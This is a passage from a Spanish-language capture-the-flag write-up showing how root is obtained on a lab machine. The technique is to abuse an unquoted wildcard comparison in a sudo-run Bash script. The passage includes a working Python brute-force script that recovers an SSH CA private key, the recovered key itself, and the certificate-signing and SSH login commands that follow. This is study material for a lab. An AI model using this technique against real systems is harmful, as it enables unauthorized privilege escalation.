ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgRteQFNaHuwyFZf33CdsOPun86XIsrWsfvanZQopESggAAAADAQABAAABAQDqHzS0A+IyAeoRcZLmuYjLkMzQ+ssOXlx4UDqZQvmCjk+IKw8Uy72hm8yheyjybwrg+fu8UD6ITh/H/MfU9dPnhmXwcl2rGcnx9Ul33QhDoS5ft3mzimutiMMyrxN+UrXl404cTS6rRHx86ttfLGnHQfMoLRwoAFjSxRxV1VpMXoxb3BzxPt8EpwydnyxKF2XkP8kqILI2xu8/GJ4zKZ86aOIc7BoecnxOLVTfoDHn8XT1+VSsg0aObSl5tGDRBEO2zCOGXy5j45Bac+QBINbxLeiknelMuixpa85MvticksW29bqRNIFPoUaSxPTNUFi5nHsKjX6REjEYm/hUasqFAAAAAAAAADAAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm7N2o//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABA+zLmTbZFF3+EnMvo+g+NtfbGIa8sHHMpTsyONGex31o+rb02Ly5YlOuefj8Kbo+8vRTo9DljG5oSwjtcjTh/DA== msainristil@itrc

❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp > zzinter_cert.cert

Pero si intentamos crear un certificado para el usuario root, falla:

❯ ./sign_key_api_modified.sh keypair.pub root root_user

{"detail":"Root access must be granted manually. See the IT admin staff."}

El usuario zzinter existe en la máquina víctima (además del container):

support@ssg:/etc/ssh/auth_principals$ ls /home

support  zzinter

Así, podemos tratar de loguearnos como el usuario zzinter con el certificado correspondiente al puerto 2222 (que es el puerto corriendo SSH de la máquina víctima real, no el container):

❯ ssh -o CertificateFile=zzinter_cert.cert -i keypair zzinter@10.10.11.27 -p 2222

<SNIP>
zzinter@ssg:~$ whoami

zzinter

Este usuario, dentro de la máquina víctima original, es capaz de correr un script de Bash con sudo como root sin necesidad de proveer contraseña:

zzinter@ssg:~$ sudo -l

Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Leyendo el script que podemos ejecutar con sudo, tenemos:

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! ` $serial =~ ^[0-9]+$ `; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

Este script, de manera similar al script anterior, revisa que los inputs sean válidos. Revisa si el contenido del certificado que se pasa al script es igual al contenido de /etc/ssh/ca-it. Si el contenido es igual, el script sale con código de estado de error junto con un mensaje. Ahora bien, la parte con trampa es:

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
    echo "Error: Use API for signing with this CA."
    usage
fi

Para explicar esto de mejor manera, el siguiente script en Bash nos puede hacer ver de mejor manera dónde está el truco:

#!/bin/bash

var1="ThisIsAnExample"
var2="This*"

if ` $var1 == $var2 `; then
  echo 'var1 is equal to var2'
fi

if ` $var2 == $var1 `; then
  echo 'var2 is equal to var1'
fi

y si lo ejecutamos, tendremos:

❯ ./test.sh

var1 is equal to var2

Sólo la primera condición es válida. Esto es gracias al caracter “wildcard” (*). Básicamente, en la primera condición, estamos diciendo “var1, que se define como ThisIsAnExample, es igual a This más cualquier texto; pero var2, que se define como This más cualquiera cosa, no es igual a ThisIsAnExample”. Dado que este script lo podemos ejecutar como root, éste tirará un error si ambos certificados son iguales, e imprimirá el mensaje de error Error: Use API for signing with this CA.. Podemos usar esta condición que compara las llaves para construir lentamente la llave necesaria a través de fuerza bruta; queremos esta llave para poder generar un certificado válido que nos permita loguearnos con el rol root_user. Adicionalmente, el script no considera el principal/rol root_user como válido, pero dado que (afortunadamente) la verificación se encuentra luego del condicional que vamos a abusar, esto no debería de ser un problema.

Primero, necesitamos generar de nuevo un archivo keypar.pub en nuestro directorio actual de la máquina víctima:

zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f keypair

Podemos entonces crear un script en Python el cual juega con el código de estado de sudo /opt/sign_key.sh y la comparación usando wildcards (*) para obtener el certificado SSH. Dado que este script lo ejecutaremos en la máquina víctima, sólo podemos usar funciones y librerías “built-in” (ya incluidas) de Python:

import string
import subprocess
from sys import exit as sys_exit
from os import system as os_system

SSH_key_header: str = "-----BEGIN OPENSSH PRIVATE KEY-----"
SSH_key_footer: str = "-----END OPENSSH PRIVATE KEY-----"

charmap: list[str] = list('-' + string.ascii_letters + string.digits + '+/=')
name_fake_key: str = 'generated_key.key'
current_key: str = ''
n_lines: int = 0
while True:
    for char in charmap:
        content_key = f"{SSH_key_header}\n{current_key}{char}*"
        with open(name_fake_key, 'w') as f:
            f.write(content_key)
        os_system('clear')
        print(content_key)
        execute_command = subprocess.run(f"sudo /opt/sign_key.sh {name_fake_key} keypair.pub root root_user 1", shell=True, stdout=subprocess.PIPE, text=True)
        if (execute_command.returncode == 1) and ('API' in execute_command.stdout):
            current_key += char
            if (len(current_key) > 1) and ((len(current_key) - n_lines)%70 == 0):
                current_key += "\n"
                n_lines += 1
            break
    else:
        break


final_key = f"{SSH_key_header}\n{current_key}\n{SSH_key_footer}"

with open('obtained_key.key', 'w') as f:
    f.write(final_key)
print(f"[+] Key extracted:\n{final_key}")

Pasamos este script a la máquina víctima (la original, no el container) y lo ejecutamos:

zzinter@ssg:~$ python3 build_key.py

Podemos ver cómo la key es, poco a poco, “construida”. Guardamos el certificado generado en un archivo llamado obtained_certificate.cert; el cual al ya correr el script y esperar a que éste se ejecute completamente, es:

zzinter@ssg:~$ cat obtained_key.key ; echo

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----

Pasamos este certificado/key a nuestra máquina de atacante, lo guardamos como root_certificate.cert, y lo usamos para firmar el archivo keypair.pub:

❯ ssh-keygen -s root_certificate.cert -z 1 -I root -V -1w:forever -n root_user keypair.pub

Signed user key keypair-cert.pub: id "root" serial 1 for root_user valid after 2024-09-20T01:52:49

Esto crea un archivo keypair-cert.pub.

Ahora que nuesta key keypair-cert.pub se encuentra firmada y creada, podemos finalmente usar esta key certificada para loguearnos en la máquina víctima como el usuario root en la máquina objetivo:

❯ ssh -o CertificateFile=keypair-cert.pub -i keypair root@10.10.11.27 -p 2222

<SNIP>

root@ssg:~# whoami

root

GG. Somos root. Podemos leer la flag de root en el directorio /root.

~Happy Hacking